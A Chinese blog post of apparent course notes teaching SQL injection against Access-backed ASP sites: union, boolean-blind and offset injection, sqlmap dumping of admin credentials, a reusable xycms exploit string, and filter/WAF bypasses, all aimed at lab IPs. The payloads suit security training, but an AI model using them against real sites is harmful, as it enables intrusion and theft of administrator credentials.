09.ACESS注入

1.注入漏洞形成原理
2.ACCESS手工注入
3.ACESS注入工具使用
4.ACESS偏移注入


rart1:注入漏洞形成原理
网站分类
静态网页:
html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。 1.不依赖数据库 2.灵活性差,制作、更新、维护麻烦 3.交互性较差,在功能方面有较大的限制 4.安全,不存在SQL注入漏洞
动态网页:
asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。 1.依赖数据库 2.灵活性好,维护简便 3.交互性好,功能强大 4.存在安全风险,可能存在SQL注入漏洞


伪静态其实还是动态网站

动态网站都是有asp/aspx/php/jsp脚本语言来编写的

Access数据库:
ACESS数据可就是一个mdb文件,文件下包含了很多表

1.sql注入--注入出管理员账号--进后台
admin user manager 这三个表里存在管理员账号

2.要明白注入漏洞产生来自于哪里,产生原因是代码,没有做过滤
3.注入语句,是根据数据库来执行的,什么注入语句要明白它是什么数据库
常见的数据库 :
Mssql、 Mysql、oracle、postgresql Db2等

select * from nevs where id="42"
//去查询nucs id=42

and 1=1 and 1=2 为了查看我的语句是否被带入数据库查询

/ -0 '
.0 .1 有时候可以判断出有时候不可以,会被检测数字

如何解决以上方法,对输入的内容参数做过滤,做强制转化类型


a.asp?id=123&id=78&id=34 不仅要换34去检查 78这个地方也可以去添加参数检查

url 探测
post提交
//比如登录,留言,搜索框
//选择性别男女,也会有参数

判断数据库类型 测试网站9002

报错:
'报错 出现 80040e21=acess数据库
and exists (select * from sysobjects)>0 没报错 //证明是sqlserver数据库
and exists (select * from msysobjects)>0 没报错 //证明是 access 数据库
//sqlserver 有sysobjects表 access 数据库有msysobjects表
//但并不是所有站都有,一般得看报错信息

判断数据库表
and exists (select * from admin) //页面返回正常
//正常说明了admin表示存在的,如果不正常就去改表名,如果返回正常就正确
常见的表名:
admin /admin_user/admin_name/manager/manage_user/manage_name/adminusername

判断数据库列名
and exists (select admin from admin)
存放列名的表:
username/admin/admin_name/admin_user/admin_usr/usr/user

密码的列名 pwd/password/pass/admin_pass/admin_pwd。
//如果检测出来列名为admin_usr 那密码很大可能是admin_pass

ACCESS注入:
猜出表明列明,就通过联合注入来查数据

判断字段长度
order by 20
// http://192.168.194.151:9002/showshop.asp?id=20 order by 9 //证明有9列

//联合查询
union select 1,2,3,4,5,6,7,8,9 from admin //结果为3 5 9 最后再在类上查询需要的 //有注入的页面不一定能跑出order by ,不行要及时换页面

数据库联合查询

union select 1,2,admin,4,password,6,7,8,9 from admin

没有回显怎么办
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin //加and 1=2 报个错 或者在id-20 增加个-号

 

Access逐字猜解法 (盲注)
注入类型总体分以下几种
1.bool 盲注
2.时间盲注,延迟注入
3.显错注入
4.多语句查询 //多条语句放在一起执行 sqlserver数据库居多
5.union 联合查询
6.内联查询 //内联可以用在3.5里面
但access 只有bool盲注,和union联合查询


判断账户密码的长度
and (select len(admin) from admin)=5 如果返回正常说明管理员账户的长度为5

猜解admin表里admin列下管理员用户是5个字就返回正常,如果不是就返回错误

and (select len(password) from admin)=5 猜解管理密码长度是否为5

猜解admin表里admin列下管理密码是5个字符,是返回正常不是返回错误,一般不是16位就是32位


猜解管理员账号的第一个数据
通过判断ascii码来判断

and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
//测admin表里的admin列下的第以行第一个数据他的asc码是否大于100

and (select top 1 asc(mid(admin,1,1)) from admin)>50 返回正常说明大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明等于97 97对应的字母为a 以此类推


判断管理员账户的第二数据
and (select top 1 asc(mid(admin,2,1)) from admin)>100 返回正常说明大于,不正常说明不大于 第三个

and (select top 1 asc(mid(admin,3,1)) from admin)>100 返回正常说明大于,不正常说明不大于 判断管理员密码的第一个数据


注入工具使用

sqlmap
1.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20
//查看是否存在注入以及类型
//看他的数据库类型,版本注入类型,找到他保存输出结果的页面

2.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 --tables 直接猜表
//acess直接猜解表,不用看库
回车默认即可,也可以自己添加字典
字典路径C:\Python27\sqlmap\data\txt\common-tables.txt' (press Enter)
可以找到字典表明自己添加字典

please enter number of threads? [Enter for 1 (current)] 设置线程最大10
爆出:
admin
config
menu
news

3.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 -T admin --columns
//列出表列
加载字典默认10线程
等待出现:
amdin
passwor

4.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 -T admin -C admin.password --dump
//测admin,password的数据 会自动破解md5 然后登陆后台


工具2 pangolin3.2.6穿山甲 跑ACESS数据库不错,其他的就不一定了

http://192.168.194.151:9002/showshop.asp?id=20 注入点
GET类型
Access数据库
integer类型
点击date,在点击tables列表明
勾选admin password 在点击Datas

 

PART 4: ACCESS偏移注入

什么时候会用偏移
在爆出admin表名 但出不来列名的时候

用*代替字段长度
用*号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,* 代表了所有admin表的字段


union select 1,2,3,4,5,6,7,8,* from admin
union select 1,2,3,4,5,6,7,* from admin
union select 1,2,3,4,5,6,* from admin
会爆出密码
通过信息收集这个密码可能有用

第二种偏移注入:
实例靶机:http://192.168.194.151:9005/show.asp?pkid=4827

order by 38 列
第一次偏移
http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 from admin
//即使能爆出很多列,但并不知道具体哪个列
加*号逐一往前减
27列爆出了一个列名为admin
用总列名减去剩余列名等于刚才所减的列名。 38-27=11
然后就是这:
http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
//如果还是错误,那就得代入公式
公式为:* from (admin as a inner join admin as b on a.id=b.id)

第二次偏移
结果为:
http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id)

第三次偏移 再减11
公式为:* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

结果为:
http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

第四次:
//要最前面加( 在复制一段c ,粘贴末尾,把as c改as d 在末尾加)
* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)

如果还爆不出来就加a.id,b.id,c.idunion select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,

也可以查看后台代码的名称,可能是列名


垮裤查询

什么情况下垮裤
iis7.5 即使找到了数据库也不能下载x.mdb数据
例如
通过爆破等找到了a网站绝对路径c:/inetpub/wwwroot/xydata/xycms.mdb但无法下载
b网站,c网站注入

绝对路径 [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user
旁站为8003 asp?id=31 union select 1,2,3,4,5,6,7 from admin_user
查主站为8004 asp?id=31 union select 1,2,3,4,5,6,7 from [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user
爆:asp?id=31 union select 1,password,admin,4,5,6,7 from [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user

利用旁站去查血目标站的数据库,首先得知道路径和表明

 

exp构造

同类型站点的查询语句 asp同网站的账号密码执行语句其他网站有可能也能用,相同cms
看自己工具包的exp构造语句

xycms
通杀注入exp
union select 1,admin,3,4,password,6,7 from admin_user


通用型防注入代码绕过
通用弹框拦截
改变数据提交方式
代码防御
+代替空格
%0a、%a0代替空格
混合使用绕过
url编码绕过
使用sqlmap的tamper

waf一般就几种
1.自带通用型防护代码
弹框拦截:
实例8009

http://192.168.194.151:8009/shownews.asp?id=27 and 1=1 //显示弹框有非法字符
/ 报错
-0 返回正常 ,有注入
被代码弹窗防护办法,使用hacbar里的post

1.post提交
裁剪id往后 ,放进下面post里: id=24 and 1=1

2.cooki提交
借用工具包的《注入中转》
打开中转exe添加注入url地址,来源页面
http://192.168.194.151:8009/shownews.asp?id=25
注入键名:id=
选择ooke注
post提交值改jmdcw=25
在去掉url asp后面的id
生成
打开aspweb.exe
生成的网站hi本地的,127.0.0.1fsf/asp?jmdcw=25 and 1=1 返回正常 过掉代码防护


代码防御就用 +来代替空格
%0a 也可以代替空格 ?id=25%0aand%0a1=1
?id=25%0aa%%n%%d%%0a1=1
也可以把变换来的id=25%0aa%%n%%d%%0a1=1 用来提交post

编码绕过

混合绕过=变化大小写+编码+变化提交方式

posted @ 2020-10-29 20:47  那个人叫方寒  阅读(351)  评论(0编辑  收藏  举报